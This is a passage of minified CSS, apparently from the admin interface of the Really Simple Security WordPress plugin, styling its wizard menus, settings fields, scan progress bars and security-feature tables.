ease;display:flex;align-items:center;min-width:0;gap:var(--rsp-spacing-xs);text-decoration:none}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element a:hover{color:var(--rsp-other-plugins-color);text-decoration:underline}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element a:hover .rsssl-bullet{background-color:var(--rsp-other-plugins-color)}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element a:hover .rsssl-other-plugins-content{text-decoration:underline}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element .rsssl-bullet{transition:background-color .3s ease;background-color:var(--rsp-other-plugins-color)}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element .rsssl-other-plugins-content{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element .rsssl-other-plugin-status{min-width:fit-content}.rsssl-tips_tricks .rsssl-grid-item-header .rsssl-grid-item-controls{height:28px}.rsssl-tips-tricks-container{display:flex !important;flex-direction:row;flex-wrap:wrap;margin-bottom:10px;font-size:var(--rsp-fs-300);line-height:1.7;gap:var(--rsp-spacing-xxs)}@media screen and (max-width:992px){.rsssl-tips-tricks-container{flex-direction:row;overflow:hidden}}.rsssl-tips-tricks-container .rsssl-tips-tricks-element{width:calc(50% - var(--rsp-spacing-xxs))}@media(max-width:768px){.rsssl-tips-tricks-container .rsssl-tips-tricks-element{width:100%}}.rsssl-tips-tricks-container .rsssl-tips-tricks-element a{color:var(--rsp-text-color-light);transition:color .3s ease;display:flex;align-items:center;gap:var(--rsp-spacing-xs);min-width:0;text-decoration:none}.rsssl-tips-tricks-container .rsssl-tips-tricks-element a:hover{color:var(--rsp-brand-primary);text-decoration:underline}.rsssl-tips-tricks-container .rsssl-tips-tricks-element a:hover svg path{fill:var(--rsp-brand-primary)}.rsssl-tips-tricks-container .rsssl-tips-tricks-element a:hover .rsssl-tips-tricks-content{text-decoration:underline}.rsssl-tips-tricks-container .rsssl-tips-tricks-element .rsssl-bullet{transition:background-color .3s ease;background-color:var(--rsp-grey-300)}.rsssl-tips-tricks-container .rsssl-tips-tricks-element .rsssl-tips-tricks-content{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.rsssl div[class^=rsssl-wizard-] .rsssl-helplink{color:var(--rsp-text-color)}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item{position:relative;margin-bottom:var(--rsp-grid-gap)}@media(max-width:1080px){.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item{grid-column:span 4}}.rsssl div[class^=rsssl-wizard-].rsssl-column-2{grid-column:span 2}@media(max-width:1080px){.rsssl div[class^=rsssl-wizard-].rsssl-column-2{grid-column:span 4}}.rsssl div[class^=rsssl-wizard-] .rsssl-locked{position:absolute;z-index:20;top:0;right:0;bottom:0;left:0;background:rgba(255,255,255,0.8);border-radius:var(--rsp-border-radius)}.rsssl div[class^=rsssl-wizard-] .rsssl-locked .rsssl-shield-overlay{position:absolute;top:50%;right:50%;transform:translate(50%,-50%);display:flex;align-items:center;justify-content:center;height:calc(100px + 2 * var(--rsp-spacing-s));width:calc(200px + 2 * var(--rsp-spacing-s));z-index:19}.rsssl div[class^=rsssl-wizard-] .rsssl-locked .rsssl-locked:has(.rsssl-shield-overlay){min-height:calc(100px + 4 * var(--rsp-spacing-s));display:flex;align-items:center;justify-content:center;position:relative;padding:var(--rsp-spacing-s)}.rsssl div[class^=rsssl-wizard-] .rsssl-locked .rsssl-locked-overlay{z-index:20;position:absolute;display:flex;align-items:center;gap:var(--rsp-spacing-s);background-color:var(--rsp-white);margin:var(--rsp-spacing-s);border-radius:var(--rsp-border-radius-s);box-shadow:var(--rsp-box-shadow);bottom:0;width:calc(100% - 2 * var(--rsp-spacing-s));padding:var(--rsp-spacing-m) var(--rsp-spacing-l)}@media screen and (max-width:1280px){.rsssl div[class^=rsssl-wizard-] .rsssl-locked .rsssl-locked-overlay{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}@media screen and (max-width:1080px){.rsssl div[class^=rsssl-wizard-] .rsssl-locked .rsssl-locked-overlay{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}.rsssl div[class^=rsssl-wizard-] .rsssl-locked .rsssl-locked-overlay .rsssl-open{float:right;margin-left:12px}.rsssl div[class^=rsssl-wizard-] .rsssl-locked .rsssl-locked-overlay .rsssl-progress-status{float:right;margin-left:20px}.rsssl div[class^=rsssl-wizard-]>div:nth-last-of-type(2){margin-bottom:0;border-radius:var(--rsp-border-radius) var(--rsp-border-radius) 0 0}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-container{position:sticky;bottom:0;display:flex;flex-direction:column;z-index:20}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-container .rsssl-grid-item-footer-buttons a.button,.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-container .rsssl-grid-item-footer-buttons button{box-shadow:none !important}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-container .rsssl-grid-item-footer-buttons a.button:focus,.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-container .rsssl-grid-item-footer-buttons a.button:active,.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-container .rsssl-grid-item-footer-buttons button:focus,.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-container .rsssl-grid-item-footer-buttons button:active{box-shadow:none !important}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-scroll-progress-container{display:flex;flex-direction:column;width:100%;height:3px;background-color:var(--rsp-grey-300);overflow:hidden}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-scroll-progress{height:100%;background-color:var(--rsp-blue)}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer{background:var(--rsp-grey-100);border-radius:0 0 var(--rsp-border-radius) var(--rsp-border-radius);border-top:1px solid var(--rsp-grey-300);box-sizing:border-box;align-items:center;padding:var(--rsp-spacing-m) var(--rsp-spacing-l);box-shadow:var(--rsp-box-shadow);gap:var(--rsp-grid-margin);width:100%;min-height:20px;justify-content:space-around}@media screen and (max-width:1280px){.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}@media screen and (max-width:1080px){.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer>div:last-of-type{margin-right:auto}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-buttons{display:flex;justify-content:flex-end;align-items:center;gap:var(--rsp-spacing-s)}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer .rsssl-legend{display:flex}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer .rsssl-legend span{padding-right:5px}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-upsell-bar .button{display:inline-block !important}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer:empty{display:none}.rsssl-wizard-help{display:flex;flex-wrap:wrap;align-content:flex-start;gap:var(--rsp-spacing-xs)}.rsssl-wizard-help details{font-size:var(--rsp-fs-200)}.rsssl-wizard-help details .rsssl-help-more-info{display:flex;flex-direction:row;margin-top:12px}.rsssl-wizard-help details summary{display:grid;grid-template-columns:1fr auto;justify-content:space-between;font-size:var(--rsp-fs-300);font-weight:600;cursor:pointer}.rsssl-wizard-help details summary::-webkit-details-marker{display:none}.rsssl-wizard-help details summary:first-of-type{list-style-type:none}.rsssl-wizard-help details summary .rsssl-icon{transition:all .3s ease-in-out;transform:rotate(0)}.rsssl-wizard-help code{white-space:pre-line;display:block}.rsssl-wizard-help summary,.rsssl-wizard-help p{font-size:var(--rsp-fs-200)}.rsssl-wizard-help details[open]{padding:var(--rsp-spacing-s) var(--rsp-spacing-m)}.rsssl-wizard-help details[open] summary{padding:0;padding-bottom:var(--rsp-spacing-xs)}.rsssl-wizard-help details[open] summary .rsssl-icon{transform:rotate(-180deg)}.rsssl-wizard-help .rsssl-help-header{width:100%;display:flex;padding:10px}.rsssl-wizard-help .rsssl-help-header .rsssl-help-title{font-size:18px}.rsssl-wizard-help .rsssl-help-header .rsssl-help-control{margin-right:auto;cursor:pointer}.rsssl-wizard-help>div{flex-grow:1;width:100%}.rsssl-wizard-help-notice{width:100%;background:var(--rsp-background-block-color);box-shadow:var(--rsp-box-shadow);border-radius:var(--rsp-border-radius);border-radius:var(--rsp-border-radius-s);height:fit-content;background-color:var(--rsp-dark-blue-faded)}.rsssl-wizard-help-notice.rsssl-warning{background-color:var(--rsp-red-faded)}.rsssl-wizard-help-notice.rsssl-open{background-color:var(--rsp-yellow-faded)}.rsssl-wizard-help-notice summary,.rsssl-wizard-help-notice p{padding:var(--rsp-spacing-s) var(--rsp-spacing-m)}.rsssl-wizard-menu{height:fit-content;background:none !important;box-shadow:none !important}.rsssl-wizard-menu .rsssl-grid-item-header{padding-right:var(--rsp-spacing-xs)}.rsssl-wizard-menu .rsssl-grid-item-content{padding:0;padding-bottom:var(--rsp-spacing-l)}.rsssl-wizard-menu-items>.rsssl-menu-item>a{font-weight:600 !important;padding-inline:var(--rsp-spacing-xs) !important}.rsssl-wizard-menu-items .rsssl-main-menu .rsssl-active{border-radius:var(--rsp-border-radius-s);background:var(--rsp-yellow-faded);box-shadow:var(--rsp-box-shadow)}.rsssl-wizard-menu-items .rsssl-main-menu .rsssl-active a:hover{text-decoration:none}.rsssl-wizard-menu-items .rsssl-main-menu .rsssl-menu-item a span{font-weight:600}.rsssl-wizard-menu-items .rsssl-menu-item a{display:flex;align-items:center;gap:var(--rsp-spacing-xs);text-decoration:none;color:var(--rsp-text-color);font-size:var(--rsp-fs-400);padding-block:var(--rsp-spacing-xs);transition:all .2s ease-in-out;padding-right:var(--rsp-spacing-xs)}.rsssl-wizard-menu-items .rsssl-menu-item a:hover{text-decoration:underline}.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-active>a{font-weight:600}.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-active a:focus{box-shadow:none !important}.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-featured.rsssl-active .rsssl-menu-item-beta-pill{color:var(--rsp-dark-blue)}.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-featured a{flex-wrap:wrap}.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-featured a .rsssl-menu-item-featured-pill{background:var(--rsp-green);color:var(--rsp-text-color-white);padding:4px 8px;border-radius:var(--rsp-border-radius-xs);font-size:var(--rsp-fs-100)}.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-featured a .rsssl-menu-item-beta-pill{color:var(--rsp-dark-blue)}.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-new .rsssl-menu-item-new-pill{background:var(--rsp-yellow);color:var(--rsp-text-color-dark);padding:4px 8px;border-radius:var(--rsp-border-radius-xs);font-size:var(--rsp-fs-100)}.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-new.rsssl-active .rsssl-menu-item-new-pill{color:var(--rsp-text-color-dark)}.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-new a{flex-wrap:wrap}.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-premium a{flex-wrap:wrap}.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-premium a .rsssl-menu-item-featured-pill{background:var(--rsp-dark-blue);color:var(--rsp-text-color-white);padding:2px 9px;border-radius:var(--rsp-border-radius);font-size:var(--rsp-fs-100)}.rsssl-wizard-menu-items .rsssl-submenu-item a{padding-right:calc(var(--rsp-spacing-xs) + var(--rsp-spacing-s)) !important;font-size:var(--rsp-fs-300)}.rsssl-wizard-menu-items .rsssl-submenu-item .rsssl-active a{text-decoration:none;position:relative}.rsssl-wizard-menu-items .rsssl-submenu-item .rsssl-active a span{color:initial}.rsssl-wizard-menu-items .rsssl-submenu-item .rsssl-active a::before{content:"•";color:var(--rsp-dark-blue);font-size:3em;position:absolute;right:var(--rsp-spacing-xxs) !important;margin-bottom:7px}html{scroll-behavior:smooth}.rsssl div[class^=rsssl-wizard-] .components-flex{display:flex;flex-direction:row;align-items:center;justify-content:space-between}.rsssl div[class^=rsssl-wizard-] .components-flex .components-flex-item label{margin:0}.rsssl div[class^=rsssl-wizard-] .components-flex .rsssl-tooltip{flex-grow:1}.rsssl div[class^=rsssl-wizard-] .components-flex .components-input-control__container{max-width:max-content}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-content label{font-size:var(--rsp-fs-300);font-weight:400;line-height:1.5;text-transform:unset;box-sizing:border-box;display:inherit;max-width:100%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.rsssl div[class^=rsssl-wizard-] .components-base-control__field{margin-bottom:0}.rsssl div[class^=rsssl-wizard-] .components-toggle-control .components-base-control__field,.rsssl div[class^=rsssl-wizard-] .components-toggle-control .components-flex{display:flex;flex-direction:row-reverse;align-items:center;justify-content:space-between;width:100%}.rsssl div[class^=rsssl-wizard-] .components-toggle-control .components-base-control__field .components-form-toggle,.rsssl div[class^=rsssl-wizard-] .components-toggle-control .components-flex .components-form-toggle{margin-left:0}.rsssl div[class^=rsssl-wizard-] select option{font-size:var(--rsp-fs-300)}.rsssl div[class^=rsssl-wizard-] .components-form-toggle.is-checked .components-form-toggle__track{background-color:var(--rsp-dark-blue)}.rsssl div[class^=rsssl-wizard-] input.components-form-toggle__input[type=checkbox]:disabled{background:var(--rsp-grey-100);opacity:.7}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item .rsssl-grid-item-content{padding:var(--rsp-spacing-xs) 0}.rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap .rsssl-comment{font-style:italic}.rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap,.rsssl div[class^=rsssl-wizard-] .rsssl-settings-block-intro{padding-block:var(--rsp-spacing-s);padding-inline:var(--rsp-spacing-l);overflow:hidden}@media screen and (max-width:1280px){.rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap,.rsssl div[class^=rsssl-wizard-] .rsssl-settings-block-intro{padding-inline:var(--rsp-spacing-m)}}@media screen and (max-width:1080px){.rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap,.rsssl div[class^=rsssl-wizard-] .rsssl-settings-block-intro{padding-inline:var(--rsp-spacing-s)}}.rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap>.rsssl-field-wrap,.rsssl div[class^=rsssl-wizard-] .rsssl-settings-block-intro>.rsssl-field-wrap{padding:0}.rsssl div[class^=rsssl-wizard-] .rsssl-field-button{display:flex;justify-content:space-between;flex-wrap:wrap;align-items:center}.rsssl .rsssl-highlight{background-color:transparent;border-right:4px solid var(--rsp-green);-o-animation:fadeIt 3s ease-in-out;animation:fadeIt 3s ease-in-out;scroll-margin-top:100px;scroll-padding-top:100px}.rsssl .rsssl-block-highlight{border:0;-o-animation:pulse 2s infinite;animation:pulse 2s infinite}@-webkit-keyframes pulse{0%{-webkit-box-shadow:0 0 0 0 var(--rsp-green)}70%{-webkit-box-shadow:0 0 0 10px var(--rsp-green-faded)}100%{-webkit-box-shadow:0 0 0 0 var(--rsp-green-faded)}}@keyframes pulse{0%{-moz-box-shadow:0 0 0 0 var(--rsp-green);box-shadow:0 0 0 0 var(--rsp-green)}70%{-moz-box-shadow:0 0 0 10px var(--rsp-green-faded);box-shadow:0 0 0 10px var(--rsp-green-faded)}100%{-moz-box-shadow:0 0 0 0 var(--rsp-green-faded);box-shadow:0 0 0 0 var(--rsp-green-faded)}}@-o-keyframes fadeIt{0%{background-color:transparent}30%{background-color:var(--rsp-green-faded)}100%{border-left:0;background-color:inherit}}@keyframes fadeIt{0%{background-color:transparent;border-left:0}30%{background-color:var(--rsp-green-faded)}100%{background-color:inherit}}.rsssl-email-verified{position:absolute;bottom:23px;left:35px}.rsssl-ip-verified{position:absolute;bottom:8px;left:6px}.rsssl-license .rsssl-task-element{padding-top:var(--rsp-spacing-s);padding-bottom:0}.rsssl-license .rsssl-license-field{display:flex}.input-container{position:relative;display:inline-block;width:100%}input.rsssl-input.full{width:100%;padding-left:40px}input.rsssl-input.rsssl-error{border:2px solid var(--rsp-red);outline:0}input.rsssl-input.rsssl-error:focus{border-color:var(--rsp-red) !important}input.rsssl-input.rsssl-success{border:2px solid var(--rsp-green);outline:0}input.rsssl-input.rsssl-success:focus{border-color:var(--rsp-green) !important}.wp-core-ui select{flex-grow:1 !important;max-width:33%}.icon-button{position:absolute;left:10px;top:50%;transform:translateY(-50%);border:0;background:100%;cursor:pointer}.rsssl-group-filter{min-width:25%;max-width:100% !important}.rsssl .components-snackbar-list.edit-site-notices{width:max-content;position:fixed;bottom:var(--rsp-spacing-m);left:var(--rsp-spacing-l)}.rsssl .components-snackbar-list.edit-site-notices>div{margin-right:auto}.rsssl .components-snackbar-list.edit-site-notices .components-snackbar{background:var(--rsp-background-block-color);box-shadow:var(--rsp-box-shadow);border-radius:var(--rsp-border-radius);color:var(--rsp-color-success);background-color:#fff;font-weight:700;font-size:14px}.rsssl-mixed-content-scan .rsssl-mixed-content-placeholder{height:250px}.rsssl-mixed-content-scan .rsssl-mixed-content-placeholder div{background-color:var(--rsp-grey-200);margin:10px 0;height:20px}.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCell[data-column-id="2"]{display:grid}.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCol,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCell{min-width:110px}.rsssl-mixed-content-scan .rsssl-progress-container .rsssl-progress-bar{border-radius:5px;height:20px;background-color:var(--rsp-green)}.rsssl-mixed-content-scan .rsssl-task-status,.rsssl-mixed-content-scan .rsssl-locked-overlay .rsssl-progress-status,.rsssl-locked-overlay .rsssl-mixed-content-scan .rsssl-progress-status{min-width:min-content}.rsssl-mixed-content-scan .rsssl-task-status.rsssl-warning,.rsssl-mixed-content-scan .rsssl-locked-overlay .rsssl-warning.rsssl-progress-status,.rsssl-locked-overlay .rsssl-mixed-content-scan .rsssl-warning.rsssl-progress-status{background-color:var(--rsp-yellow);color:var(--rsp-text-color)}.rsssl-mixed-content-scan button.button{line-height:1.5;min-height:10px}.rsssl-mixed-content-scan .rsssl-grid-item-content-footer{display:flex;gap:var(--rsp-spacing-s)}.rsssl-mixed-content-scan .rsssl-current-scan-action,.rsssl-mixed-content-scan .rsssl-mixed-content-description{margin:10px 5px;font-size:var(--rsp-fs-300)}.rsssl-learningmode-placeholder{height:150px}.rsssl-learningmode-placeholder div{background-color:var(--rsp-grey-200);margin:10px 0;height:20px}.rsssl-learning-mode-delete{cursor:pointer;background:100%;border:0;font-size:1.5em;font-weight:700}.rsssl-locked-overlay .rsssl-open{float:right;margin-left:12px}.rsssl-locked-overlay .rsssl-progress-status.rsssl-learning-mode-completed,.rsssl-locked-overlay .rsssl-progress-status.rsssl-learning-mode-enforced{background-color:var(--rsp-color-success);color:#fff}.rsssl-locked-overlay .rsssl-progress-status.rsssl-learning-mode{background-color:var(--rsp-color-open)}.rsssl-locked-overlay .rsssl-progress-status.rsssl-learning-mode-error{background-color:var(--rsp-color-error);color:#fff}.rsssl-locked-overlay .rsssl-progress-status.rsssl-disabled,.rsssl-locked-overlay .rsssl-progress-status.rsssl-learning-mode-disabled{background-color:var(--rsp-color-disabled)}.rsssl-learning-mode-footer{display:flex;align-items:center;justify-content:flex-start;gap:var(--rsp-spacing-s)}.rsssl-learning-mode-footer select{margin-right:auto}.rsssl-learning-mode-footer label{display:flex;align-items:center}.rsssl-learning-mode-footer label input{margin-top:0}.rsssl-lets-encrypt-tests{margin:var(--rsp-spacing-xs) var(--rsp-spacing-xl)}.rsssl-lets-encrypt-tests .rsssl-features ul{display:flex;list-style-type:none;padding:0;margin:0}.rsssl-lets-encrypt-tests .rsssl-features ul .rsssl-checkbox-items{display:flex;flex-direction:column;align-items:flex-start;margin-left:var(--rsp-spacing-l)}.rsssl-lets-encrypt-tests .rsssl-progress-bar{padding-block:0;margin-bottom:var(--rsp-spacing-m)}.rsssl-lets-encrypt-tests .rsssl-progress-bar .rsssl-progress{overflow:hidden;height:var(--rsp-spacing-m);border-radius:5px;background-color:var(--rsp-grey-200)}.rsssl-lets-encrypt-tests .rsssl-progress-bar .rsssl-progress .rsssl-bar{height:100%;background-color:var(--rsp-color-success)}.rsssl-lets-encrypt-tests .rsssl-progress-bar .rsssl-progress .rsssl-bar.rsssl-orange{background-color:var(--rsp-color-warning)}.rsssl-lets-encrypt-tests p{margin-bottom:var(--rsp-spacing-m)}.rsssl-lets-encrypt-tests .rsssl-progress-text{display:flex;align-items:center;padding:var(--rsp-spacing-m) var(--rsp-spacing-l);padding-block:0;padding-top:var(--rsp-spacing-xs)}@media screen and (max-width:1280px){.rsssl-lets-encrypt-tests .rsssl-progress-text{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}@media screen and (max-width:1080px){.rsssl-lets-encrypt-tests .rsssl-progress-text{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}.rsssl-lets-encrypt-tests .rsssl-progress-text .rsssl-progress-percentage{font-size:32px;font-weight:700}.rsssl-lets-encrypt-tests .rsssl-progress-text .rsssl-progress-text-span{margin-right:35px;font-size:18px;font-weight:600}.rsssl-lets-encrypt-tests .rsssl-progress-text .rsssl-progress-text-span a{margin-right:3px}.rsssl-lets-encrypt-tests ul li{display:flex;margin-bottom:15px}.rsssl-lets-encrypt-tests ul li .rsssl-icon{margin-left:7px}.rsssl-lets-encrypt-tests ul li ul li:before{background-color:var(--rsp-grey-500);color:#fff;height:6px;width:6px;border-radius:50%;content:"";position:absolute;margin-top:7px;margin-right:-19px}.rsssl-lets-encrypt-tests .rsssl-test-results ul li{display:block}.rsssl-lets-encrypt-tests .rsssl-test-results h4{margin:var(--rsp-spacing-m) 0}.rsssl-lets-encrypt-tests .rsssl-test-results a+button{margin-right:var(--rsp-spacing-m)}.rsssl-lets-encrypt-tests .rsssl-test-results .rsssl-certificate-data{display:none}.rsssl-lets-encrypt-tests .rsssl-test-results .rsssl-dns-text-records div{display:flex;flex-direction:row;margin-left:20px}.rsssl-lets-encrypt-tests .rsssl-test-results .rsssl-dns-text-records div .rsssl-dns-domain,.rsssl-lets-encrypt-tests .rsssl-test-results .rsssl-dns-text-records div .rsssl-dns-field{margin-left:var(--rsp-spacing-m);width:50%}.rsssl-lets-encrypt-tests .rsssl-modal-subtitle{display:none}.rsssl-lets-encrypt-tests .components-toggle-control{margin:20px 0}.rsssl div[class^=rsssl-wizard-] .rsssl-permissions_policy .rdt_TableCell,.rsssl div[class^=rsssl-wizard-] .rsssl-permissions_policy .rdt_TableCol{min-width:fit-content}.rsssl div[class^=rsssl-wizard-] .rsssl-permissions_policy .rsssl-locked .rsssl-shield-overlay{top:calc(100% - 300px)}.rsssl-vulnerability-action a.button{margin-right:10px}.rsssl-processing{opacity:.5}.rsssl-vulnerabilities_measures-overview .allowRowEvents .wp-core-ui select{max-width:100%}.rsssl-vulnerabilities_measures-overview .rdt_TableCell:nth-child(2) select{max-width:100%}.rsssl-vulnerabilities_measures .rsssl-locked-overlay input[type=checkbox]{margin-top:0}.rsssl-404_blocking .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-user_agents .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-content_security_policy_source_directives .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-firewall_block_list_listing .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-two_fa_users .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-firewall_list_listing .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-vulnerabilities_overview .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-permissions_policy .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-firewall_white_list_listing .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-firewall_logs_content .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-limit_login_attempts_country .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-limit_login_attempts_users .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-mixed-content-scan .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-content_security_policy .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-hardening-xml .rsssl-field-wrap nav.rdt_Pagination>div>svg{display:none !important}.rsssl-404_blocking .rsssl-field-wrap .rsssl-search-bar,.rsssl-user_agents .rsssl-field-wrap .rsssl-search-bar,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-search-bar,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-search-bar,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-search-bar,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-search-bar,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-search-bar,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-search-bar,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-search-bar,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-search-bar,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-search-bar,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-search-bar,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-search-bar,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-search-bar,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-search-bar,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-search-bar,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-search-bar,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-search-bar{float:left;padding:0}.rsssl-404_blocking .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-user_agents .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-search-bar__inner,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-search-bar__inner{display:flex;align-items:center;border-radius:3px;transition:background-color .3s ease}.rsssl-404_blocking .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-user_agents .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-search-bar__inner:focus-within{background-color:#fff;box-shadow:0 2px 4px rgba(0,0,0,0.1)}.rsssl-404_blocking .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-user_agents .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-vulnerabilities_overview 